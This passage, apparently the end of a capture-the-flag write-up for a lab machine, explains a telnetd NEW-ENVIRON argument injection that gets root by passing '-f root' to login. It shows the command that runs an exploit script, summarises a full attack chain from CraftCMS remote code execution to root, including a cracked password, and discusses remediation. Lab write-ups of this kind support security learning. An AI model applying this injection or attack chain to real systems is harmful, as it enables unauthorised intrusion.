The vulnerability is an argument injection flaw. The telnetd daemon accepts environment variables from the connecting client through the TELNET NEW-ENVIRON protocol option. It passes the client-controlled USER variable directly into /usr/bin/login as a command-line argument without sanitization. By injecting -f root as the USER value, an attacker forces the login utility to treat the session as pre-authenticated and skip credential validation entirely.

The standard telnet client does not negotiate NEW-ENVIRON correctly for this exploit, so a Python3 script handles the raw TELNET protocol negotiation:

python3 cve_2026_24061_telnetd.py 127.0.0.1 23 root

Root shell. The root flag is in /root/root.txt.

Why this chain matters

Every step in the Orion kill chain maps directly to failure classes that appear in real environments.

Deserialization vulnerabilities are the most severe category of web application bug. When an application deserializes attacker-controlled data, the attacker does not need credentials, does not need to know the application logic, and does not need to find a second bug. One endpoint, one payload, full code execution. The remediation is not “validate the input.” It is “do not deserialize untrusted data.”

Secrets in configuration files are a solved problem. Secret management platforms exist precisely so that database credentials do not live in files on the same server that uses them. The .env pattern keeps secrets out of source code repositories, but it does not protect them from a compromised process running on the same host. Defense in depth means the compromise of the web application should not automatically hand an attacker database credentials.

Legacy daemons with network exposure are a category of risk that organizations consistently underestimate. Telnet was designed in 1969. Its authentication model reflects the threat model of 1969. Running it on a modern system, even locally, introduces a vulnerability class that has no patch. The remediation is removal, not configuration.

Attack chain summary

[RECON] Nmap -> port 22, 80
  |
[ENUM] /admin/login -> CraftCMS 5.6.16 identified
  |
[EXPLOIT] CVE-2025-32432 -> pre-auth RCE -> www-data shell
  |
[PIVOT] /var/www/html/craft/.env -> DB credentials
  |
[PIVOT] MySQL users table -> bcrypt hash -> cracked: darkangel
  |
[PIVOT] Password reuse -> SSH as adam -> user flag
  |
[ENUM] ss -tlnp -> telnetd on 127.0.0.1:23
  |
[ROOT] CVE-2026-24061 -> NEW-ENVIRON injection -> root shell -> root flag